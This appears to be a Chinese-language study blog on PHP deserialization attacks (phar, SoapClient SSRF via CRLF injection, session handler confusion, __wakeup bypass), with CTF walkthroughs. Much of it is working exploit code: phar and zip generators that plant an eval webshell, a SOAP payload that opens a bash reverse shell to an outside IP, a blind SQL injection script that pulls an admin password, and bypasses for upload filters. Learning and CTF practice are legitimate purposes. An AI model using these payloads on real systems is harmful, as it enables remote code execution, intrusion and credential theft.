php其他反序列化知识学习
简单总结一下最近学习的,php其他的一些反序列化知识
-
phar
-
soap
-
session
-
其他
- __wakeup绕过
- gc绕过异常
- 非公有属性,类名大小写不敏感
- 正则匹配,十六进制绕过关键字检测
- 原生类的利用
phar
基础知识
在 之前学习的反序列化利用中,都要用到unserlize
这个反序列化方法,然后构造pop链子,但是通过读取phar文件,即使不使用unserlize,也可以触发反序列化操作
phar文件是php特有的一种归档(压缩)文件,可以把多个文件归档为1个文件,提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中,php可以通过phar://伪协议在不过分解压的情况下,访问phar文件,并执行其中的php程序
phar文件的基本结构如下
- stub:phar文件标志
phar文件在文件开头有一个特殊的标志,如aaa<?php bbb; __HALT_COMPILER();?>
aaa,bbb可以是任意内容,但是<?php __HALT_COMPILER();?>
必须 存在,就是一定有<?php 、 <?=
或<script language="php">
这种php标签对,标签对中含有 __HALT_COMPILER(); - manifest
存储着每个被压缩文件的权限,属性等信息,这部分还会以序列化的形式存储用户自定义的meta-data,特定函数读取时会反序列化,这是phar反序列化利用中最核心的地方。 - file contents
被压缩文件的内容 - signature
phar文件的签名,用于验证phar文件的完整性和真实性
我们可以先写个小程序,看看生成的phar文件具体结构(要将php.ini中的phar.readonly选项设置为Off,否则会报错,无法生成phar文件)
<?php
class myObject
{public $name = 'helloworld';
}
// 用php的内置类Phar,创建一个名为 phar.phar 的 PHAR文件对象,并赋值给变量 $phar
$phar = new Phar("phar.phar");
// 开始 PHAR 文件的缓冲区,用于批量操作,避免频繁写入磁盘
$phar->startBuffering();
// 设置 PHAR 文件的 Stub,即 PHAR 文件的启动代码,用于启动 PHAR 中的脚本
$phar->setStub("<?php __HALT_COMPILER();?>");
$info = new myObject();
// 设置 PHAR 文件的可自定义的元数据
$phar->setMetadata($info);
// 向 PHAR 文件中添加一个名为 a.txt 的文件,并将内容设置为 'a'
$phar->addFromString("a.txt", "a");
// 停止 PHAR 文件的缓冲区,将缓冲区中的操作写入到 PHAR 文件中
$phar->stopBuffering();
?>
用xxd工具(Linux 下的十六进制编辑工具)查看一下生成的phar文件
可以看到phar文件里,有文件头,还有自定义的被序列化的,我们传入的一个对象
利用条件
如果一些文件操作函数通过phar://伪协议读取phar文件时,就会将meta-data反序列化,相关函数如下
copy, file_exists, file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode, filemtime, fileowner, fileperms, fopen, is_dir, is_executable,is_file, is_link.is_readable,is_writable,,parse_ini_file,readfile,stat,unlink,exif _thumbnail,exif_imagetype, imageloadfont, imagecreatefrom, hash_hmac_file, hash_ile, hash_update_filemd5_file, sha1_file, get meta_tags, get_header,getimagesize, getimagesizefromstring ,extractTo_is_wirtble、info_file
利用条件如下:
- phar可以上传到服务器端(存在文件上传)
- 要有可用的魔术方法作为“跳板”。利用之前学习的魔术方法构造pop链
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤
实验测试
使用网上大佬的程序来测试,
upload.html
<html>
<body>
<form action="http://192.168.184.200/pharsnap/upload_files.php" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" name="Upload" />
</form>
</body>
</html>
upload_files.php
<?php
if (isset($_FILES["file"])) {echo "Upload: " . $_FILES["file"]["name"]."<br/>";echo "Type: " . $_FILES["file"]["type"]."<br/>";echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br/>";if (file_exists("upload/" . $_FILES["file"]["name"])) {echo $_FILES["file"]["name"] . " already exists. ";} else {move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" .$_FILES["file"]["name"]);echo "Stored in: " . "upload/" . $_FILES["file"]["name"];}
} else {echo "No file uploaded.";
}
?>
read.php
<?php
$filename=@$_GET['filename'];
echo 'please give me a filename by get'.'<br />';
class AnyClass{var $output = 'echo "ok";';function __destruct(){system($this -> output);}
}if(file_exists($filename)){$a = new AnyClass();}else{echo 'file is not exists';}
?>
重点在read.php,使用了 file_exists 函数,它在受影响函数之中,在用phar协议读取文件时会反序列化其中数据,
利用思路:
read.php的AnyClass类中的__destruct
魔术方法中,有eval这个可以执行系统命令的方法,是可以利用的,而且存在file_exists这个可以触发的函数,所在在file_exists中用phar://伪协议读取我们上传的phar文件,就会反序列化其中的数据,我们在自己的phar中设置$output
为系统命令即可
exp:
<?phpclass AnyClass
{public $output="('ls /');";
}$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$info=new AnyClass();
$phar->setMetadata($info);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
?>
payload:
?filename=phar://upload/phar.phar/a.txt
结果
命令执行成功,总的来说就两点:
- 找会触发反序列化的方法和文件上传或写入的点
- 构造pop链执行rce
相关绕过
在实验代码中加一个file_get_contents
,这个函数触发反序列化相对更容易,容易测试
phar不能在开头
数据压缩绕过(要安装对应的拓展)
compress.bzip2://phar://phar.phar/a.txt
compress.zlib://phar://phar.phar/a.txt
放其他伪协议在开头绕过
php://filter/resource=phar://phar.phar/a.txt
__HALT_COMPILER特征检测
1.压缩绕过,gzip或zip
如果对phar的特征:__HALT_COMPILER
进行了过滤,可以使用gzip对phar文件再压缩一次,这时__HALT_COMPILER
就没有了
!
直接phar读取或者配合文件包含,也是可以触发反序列化的
?filename=phar://upload/phar.phar.gz/a.txt #gz要访问gz中的phar中设置的a.txt
?filename=phar://upload/phar.zip/phar.phar #zip只要访问zip中的phar即可,名字随意,后缀要phar
2.zip压缩,把序列化内容写入zip的注释,那为什么不直接压缩为zip,传上去然后访问嘛,为什么还要多此一举?
因为通常文件上传中只能上传图片,本地测试发现,gzip压缩后的文件.gz,改后缀为png,再去访问,仍然可以反序列化执行命令
但是zip文件.zip,转为png后,中间序列化的内容有丢失,再去访问会执行命令失败
原来的phar内容:
中间的命令尝试写入一句话,压缩为zip,再转为png,尝试访问
结果发现一句话的内容消失了,写入失败,但是如果把序列化内容写入zip中的注释,转为png不会消失,php处理代码如下
$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件名和内容
$zip->setArchiveComment($phar_file); // 设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");
一句话写入成功
文件头检测
如果通过检测文件头来检测是否是图片,可以在设置stub时增加GIF89a(gif图片文件头)绕过,如
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
如果过滤问号,可以<script language="php">
绕过,如
$phar->setStub("GIF89a"."<script language='php'> __HALT_COMPILER();</script>");
题目实战
SWPU2018 SimplePHP
buu在维护,题目做不了,不过给了一个大佬写的yaml文件,于是起个docker
可以看到有查看文件和上传文件两个页面,看看页面源码
可以看到查看文件的文件名通过file传递,感觉可以通过查看题目源码,
果然可以,想直接file=f1ag.php,提示文件不存在,被ban了
那就把其他的php文件代码都看看
upload_file.php
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style> p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交">
</div> </script>
</body>
</html>
function.php 处理上传的文件
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); }
}
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } }
}
?>
file.php 展示文件
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) { echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) { $show->source = $file; $show->_show();
} else if (!empty($file)){ die('file doesn\'t exists.');
}
?>
还有class.php,一起看看
<?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file; //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>
base.php基本纯html,就不展示了
源码中直接提示就是考phar反序列化,触发点应该在file_exist函数,没看到有可以执行系统命令的地方,但是test类中有file_get_contents
,利用这个函数读取flag.php
开始构造pop链(如何构造及其原理之前的笔记学习过了,这里不在赘述)一样的,反向思考如何构造:
1.最终利用的是Test类中的file_get->file_get_contents
获取flag,这个方法在get
方法中调用,传给file_get的value由数组params中有没有$key这个健决定
2.get
方法在__get
方法调用,__get
在访问类中不存在的变量时调用,访问的变量名会被作为字符串传入该方法中
3.Show类的toString方法中$content = $this->str['str']->source;
,如果$this->str['str']
赋值为Test实例,就是访问了Test类中不存在的对象,触发__get
, ‘source’传入该方法,如果把Test类中的params数组中,设置一个同名健source
,值为’/var/www/html/f1ag.php’,就能成功访问
4.C1e4r的__destruct__->echo $this->test;
,把test设置为Show实例,触发Show类的toStting
exp如下:
<?php
class C1e4r
{public $test;public $str;
}
class Show
{public $source;public $str;
}
class Test
{public $file;public $params;
}
//pop链
$a=new C1e4r();
$b=new Show();
$c=new Test();
$a->str=$b; //触发show的toString
$a->str->str['str']=$c; //访问test类的不存在属性,触发__get
$c->params['source']="/var/www/html/f1ag.php";
//生成phar文件
$phar=new Phar("1.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
rename("1.phar","1.png");
?>
直接访问/upload,得到文件名
在file.php,使用phar协议访问即可
解码后发现啥也没有,进入docker的shell发现原本就是这样
newstar2023 pharone
今天发现可以做题了,直接启动
有一个上传页,源码提示有class.php,代码如下:
<?php
highlight_file(__FILE__);
class Flag{public $cmd;public function __destruct(){@exec($this->cmd);}
}
@unlink($_POST['file']);
有unlink方法,很明显就是phar反序列化,exec执行系统命令是没有直接的回显的,所以要写个webshell进去
主页上传发现,只能上传图片,上传成功,会回显文件名路径
直接生成phar,转png,试试
上传结果发现
过滤了__HALT_COMPILER这个文件特征,把序列化内容写入zip注释吧,
完整的exp:
<?php
class Flag
{public $cmd="echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php";
}
$info=new Flag();
$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件内容
$zip->setArchiveComment($phar_file); // 这一行设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");
?>
上传成功,直接在class.php传入
file=phar://upload/4a47a0db6e60853dedfcfdf08a5ca249.png/phar.phar
然后蚁剑连接shell.php ,查看flag
成功
soap
基础知识
SOAP(Simple Object Access Protocol)是一种用于在网络上交换结构化信息的协议。它通常用于实现分布式系统中的远程过程调用(调用服务器上的方法),允许不同的计算机在网络上进行通信并交换数据。其特点有但不限于:
基于 XML:SOAP 使用 XML 格式来封装和传输数据。这使得它能够支持复杂的数据结构和对象,并且与不同的编程语言和平台兼容。
支持多种传输协议:SOAP 可以使用多种传输协议来进行数据传输,其中最常用的是 HTTP 和 HTTPS。但 SOAP 也可以基于其他协议如 SMTP、JMS 等进行传输。
正常的一次soap请求demo如下:
<?php
// 创建 SoapClient 对象
$client = new SoapClient(null, array('location' => 'http://192.168.184.150:1234', #location->请求的地址'uri' => 'goodgoodstudydaydayup' //命名标识符,唯一标识服务端的应用程序或服务。
));// 设置要调用的 SOAP 方法,服务端要有定义和实现,才能获取到数据
$method = 'getWeather';// 使用 __soapCall() 方法发送 SOAP 请求
try {$response = $client->__soapCall($method, array());// 处理响应echo "Response: " . $response;
} catch (SoapFault $e) {// 处理 SOAP 错误echo "SOAP Error: " . $e->getMessage();
}
?>
服务端收到的http请求包
由于服务端并没有定义getWeather方法,所以这次soap请求拿不到相关数据,
利用方法
触发__call
正常的soap请求是调用SoapClient对象的__soapCall实现的,但是如果调用了该对象中不存在的方法,会触发__call
魔术方法,这个方法也会发送soap请求,
如:
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234', 'uri'=>'goodgoodstudydaydayup'));
$a->a(); // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>
所以soap的反序列化不需要构造pop链,只要有反序列化的过程和调用不存在的方法即可,但是只是发送一个拿不到数据的请求没有意思,我们可以通过CRLF注入,构造出我们想要的数据包,发送到服务端,让服务端带着这个数据包去发送请求(ssrf),拿到我们想要的数据
CRLF注入
需要先了解一下http协议数据包的结构:
https://www.cnblogs.com/huansky/p/14007810.html
不论是请求报文还是响应报文,各行数据通过回车换行符分割,这个回车换行符就是\r\n
,url编码后是%0d%0a,即为CRLF,头部和数据正文之间隔了两个CRLF
如果用户输入会出现在,服务端http响应的header中,CRLF注入就可以控制响应头中出现我们设置的内容,如
用户的输入会出现在location中,如果输入变为
http://192.168.184.200/locat.php?url=http://www.baidu.com%0d%0aSet-Cookie:token%3D123456
这个输入中注入了一个CRLF,本来这整个值都应出现在Location的值中,但服务器在读取完 Location:http://www.baidu.com
后,读取到了一个CRLF,会认为这个键值对已经结束,就会准备开始读取下一个头部中键值对,而Set-Cookie:token%3D123456,url解码后,是可以被正常读取的键值对,这样一来就会在请求头中设置了我们自己的cookie
现在通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了,但是了解了原理之后,我们可以通过CRLF配合soap,启动ssrf
例如在user-agent注入CRLF,
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234','user_agent'=>"soap\r\nSet-Cookie:token=helloworld" ,'uri'=>'goodgoodstudydaydayup'));
$a->a(); // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>
在这里,我在user-agent后面注入了一个CRLF,然后设置Set-Cookie:token=helloworld,结果
服务端接受到数据包中,头部出现了Set-Cookie键值对,注入一个crlf就能修改或增加一个键值对,可以看到,soap的http请求是POST方法,要实现ssrf,我们要通过注入多个CRLF,修改Conent-Type,content-Length,还要插入我们自己的数据代替原来的xml数据,使这个post请求变成我们想要的
<?php
$target = 'http://192.168.184.150:1234';
$post_data = 'data=whoami';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
exp这一句,每注入一个CRLF,就修改一个键值对,请求头和请求数据要插入2个CRLF,我们就可以通过这样构造的post请求,进行ssrf
实验学习
test.php
<?php
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){eval($_POST['cmd']);}
else{echo "not localhost";
}
$a=unserialize($_GET['a']);
$a->play();
?>
可以看到,程序中有反序列化操作,并且调用了play这个未定义方法,,要求REMOTE_ADDR为127.0.0.1,才能执行命令,所以我们可以传入自己构造的序列化后的soap对象,反序列化后触发__call
方法,进行ssrf, exp如下
<?php
$poc = "cmd=".urlencode('system("bash -c \'bash -i >& /dev/tcp/192.168.184.150/1234 0>&1\'");?>');
$a = new SoapClient(null,array('uri'=>"aaaa", 'location'=>'http://127.0.0.1/test.php',"user_agent"=>"helloworld\r\nContent-Length: ".strlen($poc)."\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n".$poc,"keep_alive"=>false));
$b = serialize($a);
echo urlencode($b);
shell反弹成功,总结利用条件:
1.程序中有反序列化操作
2.支持soap服务,调用了未定义方法
题目实战
easy_harder_php
综合性很强的题,搞了好久,最后还没做出来
题目首页url参数有action=login,感觉可以任意文件读取,尝试
果然有,那就需要知道其他php文件名,然后读取,dirsearch扫一下,
发现config.php,后加~可以读取,然后顺藤摸瓜发现了三个php文件的源代码,cofig,index,user
代码都很长,就不粘贴过来了
思路
没做出来,看了wp还是没法复现,简单记录一下思路吧
看了代码后,在user.php->publish
发现admin登录后才有文件上传的功能,
但是在user.php->login
中,admin登录不仅要密码正确,还要本地登录,感觉要ssrf,于是寻找可能的ssrf触发点
寻找了一圈没啥收获,但是在user.php->showmess
中发现了没有pop链的反序列化,而且,下面调用了getcountry未定义方法,想到用soap来ssrf
不知道从哪里可以拿到admin的密码,但是发现操作数据库的sql中都是直接拼接的,感觉可以sql注入,注册和登录都不行,要输入MD5的验证码
登录后的insert中有
插入的语句没有什么验证,插入一个a,后面再跟上的我们的时间注入payload即可,表名字段,存储密码长度都能从源码中得知,exp如下:
import requests
import time
from datetime import datetime
url_target='http://c4790c8b-ff2c-4d42-b109-c99e764602fb.node5.buuoj.cn:81/index.php?action=publish'
cookie={'PHPSESSID':'4p269bclqkqpic4v928so6goh3'}
data={'signature':'','mood':'0'
}
passwd=''
for i in range(1,33):time.sleep(0.5)for k in range(33,127):sql=f'a`,if(ord(substr((select password from ctf_users where username=`admin`),{i},1))={k},sleep(2),null))#'data['signature']=sqlstart = datetime.now()res=requests.post(url=url_target,data=data,cookies=cookie,timeout=3)end = datetime.now()sec = (end - start).secondsif sec >= 2:passwd+=chr(k)print(passwd)
结果
拿去md5碰撞网站试试,得到为nu1ladmin
用脚本生成soap序列化字符串,在这里要用两个浏览器,一个停留在登录页面,把要用的验证码和cookie中的PHPSESSID,保留下来,放入soap请求包,另一个浏览器用普通用户登录,pubilsh插入我们构造的soap序列化数据,exp:
<?php
$target = 'http://c360d287-8204-45d0-8d8d-7180e8bfd8c8.node5.buuoj.cn:81//index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=IWAPX5COOXSFNBuuWbP4';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=s3r1gfsk5288rntocmg8fhdlg3'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo $a;
?>
然后把序列化字符串转为十六进制,点击publish,执行插入语句
网上的wp都是插入后,再刷新就是admin,但我总是失败,不知道为啥,最后试了一下直接包含根目录下的flag,还真有
不知道是不是验证码没处理好,导致无法admin,验证码是MD5碰撞求得,分享一下大佬写的脚本
import multiprocessing
import hashlib
import random
import string
import sys# 定义字符集,包括大小写字母和数字
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):"""比较MD5哈希值的函数"""global CHARSwhile not stop_event.is_set():# 生成随机字符串rnds = ''.join(random.choice(CHARS) for _ in range(size))# 计算MD5哈希值md5 = hashlib.md5(rnds.encode('utf8'))value = md5.hexdigest()# 检查哈希值是否满足条件并输出if value[start: start + str_len] == substr:print(rnds)print(value)# 设置停止事件,停止其他进程stop_event.set()if __name__ == '__main__':# 从命令行参数获取目标MD5哈希值的起始子字符串和搜索起始位置substr = sys.argv[1].strip()start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0str_len = len(substr)# 获取计算机CPU核心数cpus = multiprocessing.cpu_count()# 创建一个事件对象来协调进程之间的停止stop_event = multiprocessing.Event()# 创建多个进程,每个进程运行cmp_md5函数以搜索满足条件的字符串processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos))for i in range(cpus)]# 启动所有进程for p in processes:p.start()# 等待所有进程完成for p in processes:p.join()
session
基础知识
SESSION的一些知识在学习会话文件包含时学习过,现在学习一下SESSION在反序列化中的利用点的一些基础知识
php有三种session的处理器(php,php_serialize,php_binary ,默认为php),用于把session会话信息存储到文件中,各自都有不同的session存储和使用的机制,但存到文件里的都是类似序列化的数据,不同的处理有一些差别,如下面的demo
<?php
ini_set("session.serialize_handler", "php_serialize");
highlight_file(__FILE__);
session_start();
$_SESSION['name']=$_GET['name'];
?>
传入name=helloworld,三种处理器存储的数据如下
处理器 | 数据 |
---|---|
php | `name |
php_serialize | a:1:{s:4:"name";s:10:"helloworld";} |
php_binary | names:10:"helloworld"; |
如果多传一个sex属性,存到SESSION数组中存储如下
可以看到,php处理器存储就是键名|序列化数据
,php_serialize就是a:键值对个数:{序列化数据}
,php_binary就是键名后直接跟序列化数据
利用条件:
1.两个不同的php文件,使用了不同的会话文件处理器,序列化存储文件时用php_serialize,但默认是php,可能要通过别的方式修改,反序列化会话文件是php
2.调用了session_start()或php.ini中session.auto_start=1,调用了session_start(),如果之前已经存在会话,就会去反序列化session文件,
利用方法:
就是利用这两个处理器不同的处理机制(对于|
的处理不同),在上面学习过他们的存储方式,php存储时会用|
分割键值,但php_serialize存储时就没有,
也就是说,php_serialize反序列化会把|
当作普通字符串,如果是php,遇到|
,就会反序列化后面内容,把|
前面的当作键值,如果我们能控制输入$_SESSION数组的变量,控制为|(对象序列化字符串)
,php_serialize会当作普通字符串存储,但php反序列化读取时,就会成功反序列化对象序列化字符串
,生成我们想要的对象,
在文件包含时了解过,如果不主动往session数组中传数据,默认session文件是没有内容的,所以SESSION反序列化也分$_SESSION变量可控和不可控
实验学习
$_SESSION变量可控
除了上面的demo,再加一个class.php
<?php
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
class Man
{public $name;function __destruct(){system($this->name);}
}
session_start();
var_dump($_SESSION);
?>
$_SESSION
变量可控,就是我们可以往$_SESSION
数组传入数据
可以看看这篇大佬的文章,https://blog.csdn.net/weixin_57567655/article/details/121899648,讲的通俗易懂
例如:在这个实验中,先生成我们的Man序列化字符串
<?php
class Man
{public $name='ls /';
}
echo serialize(new Man());
?>
在得到到结果前加上|
,变为|O:3:"Man":1:{s:4:"name";s:4:"ls /";}
传入给name,查看session文件,
查看class.php,
$_SESSION变量不可控
利用uoload_progress,手动构建文件上传,具体原理在学习文件包含时了解了,这里简单复习一下
在文件上传的同时,post传一个字段,PHP_SESSION_UPLOAD_PROGRESS
,值任意,php这时就会自动创建会话,并往$_SESSION数组中写入数据(关于文件上传的进度),我们传的PHP_SESSION_UPLOAD_PROGRESS
的值会和upload_progress
拼接在一起,作为session文件中的一个健
条件:
session.upload_progress.enabled=On
,默认情况下就是On
默认情况下,session.upload_progress.clean=On,文件上传结束后就会清除session中的相关数据,这时就要条件竞争(之前学习文件包含的文章中已经测试过),这里改为off,方便测试
手动构建文件上传,在原来的前端页面下,打开F12,选中body元素,选择以html格式修改,就可以手动添加一个文件上传的表单
在可以构造pop链的php文件,构造上传表单:
form action="sess.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file1" /><input type="submit" />
</form>
随便上传一个文件,在bp中修改filename
"|O:3:\"Man\":1:{s:4:\"name\";s:4:\"ls /\";}"
记得转义序列化数据中的双引号,或者filename的内容,用单引号包裹
!
反序列化成功,命令成功执行
题目实战
bestphp’s revenge
题目源码
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);+++++++
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
乍一看,看不出什么,扫描一下,发现flag.php
<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {$_SESSION['flag'] = $flag;
}
?>
发现要求本地访问,然后就会往session中写入flag,想到要用ssrf,首页源码中有call_user_func
函数,它会把传入的第一个参数当作回调函数,后面的参数当作传入该函数的变量,然后执行该函数,感觉有可能让welcome_to_the_lctf2018作为一个未定义方法,让soap对象调用,就可以ssrf访问flag.php了,不知道该如何操作,上网查阅资料后才理清了利用思路
在第二个call_user_func中,如果把$b
再设置为call_user_func,那么传给它的就是一个数组$a
,它有两个元素,第一个reset($_SESSION
)(也就是$_GET['name'])
,第二个是welcome_to_the_lctf2018,传给call_user_func
如果只有一个数组,那么就会把数组第一个值当作回调函数,后面的值当作该方法的参数,所以$_GET['name']
是方法名,welcome_to_the_lctf2018是方法,相当于$_GET['name']->welcome_to_the_lctf2018
,如果$_GET['name']
是我们传入的soapclient对象,就可以触发ssrf,传入soap对象序列化数据,session_start()就可以反序列化来还原
但b似乎是写死的implode,可以修改吗?其实是可以的,只要把$_GET['f']
设为extract,利用这个函数的来变量覆盖修改b,原理如下:
PHP extract() 函数用于将数组中的键作为变量名,将对应的值作为变量值导入到当前程序的符号表中
在PHP中,符号表(Symbol Table)是一个内部数据结构,用于跟踪当前脚本中定义的变量和它们的值。在PHP脚本执行期间,符号表记录了所有已经声明的变量及其对应的值,并且可以动态地添加、修改和删除这些变量。
extract()导入变量名和值时,如果原来已经存在相同的变量名,那么旧的值会被数组中同名的健对应的值替换掉
举个例子:
<?php
// 用户通过表单提交了一些数据,例如:
$hobby='play';
// 为了方便,直接使用 extract() 函数将 $_GET 数据导入到当前符号表中,以便后续使用
extract($_GET);
echo "用户: ".$name." 性别: ".$sex."<br>";
echo "your hobby is $hooby";
?>
可以看到,本来hobby的值为play,可以是我们通过get方式传入一个同名变量,使值为study,play就会被study覆盖,如:
所以在那道题中,要发送两次请求,第一次给name赋值soap序列化数据写入session数组,同时利用call_user_func($_GET['f'], $_POST);
,f赋值为session_start(), post 传 serialize_handler=php_serialize ,修改session文件序列化处理器
!
成功写入到session文件中,
生成soap序列化数据的exp:
<?php
$target = 'http://127.0.0.1/flag.php';
$post_data = '';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=123456'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo "|".urlencode($b);
手动在数据包中,添加发送序列化数据后,响应包中给的cookie,然后正常访问,让程序默认的php处理器,反序列化session文件,发现成功还原SoapClient对象
这一次,get给f传extract,post传b=call_user_func,让程序还原了soapcilent对象后,发送soap请求
最后再把PHPSESSID的值设为我们exp中的PHPSESSID的值,正常访问
拿到flag
其他小知识
__wakeup绕过
__wakeup
也是一种魔术方法, 调用**unserialize()时 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 **_wakeup()
方法的目的是在反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。在ctf中,会用__wakeup修改变量,阻止pop链的起点触发,如:
<?php
highlight_file(__FILE__);
class Man
{public $name;function __wakeup(){echo "wakeup is call";$this->name='phpinfo();';}function __destruct(){eval($this->name);}}
unserialize($_GET['a']);
?>
这里的__wakeup
会把name修改为phpinfo,传入的序列化字符串中即使有其他命令也无法执行,如
看起来很安全,其实也有绕过的方法
修改变量数
要求版本:PHP5 < 5.6.25、PHP7 < 7.0.10
当序列化字符串中属性值大于属性个数,就会导致反序列化异常,被PHP当作垃圾回收,提前触发__destruct__
(也叫fast-desturct),从而跳过__wakeup(),
这里一道经典题为例子:[极客大挑战 2019]PHP
源码:
index.php
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
可以看到,Name类中,读取flag需要username为admin,但是__wakeup
方法会把username变为guest,需要绕过,两个变量是private属性,需要url编码
F12看到php版本为5.3,修改属性值就行,
把2改为3
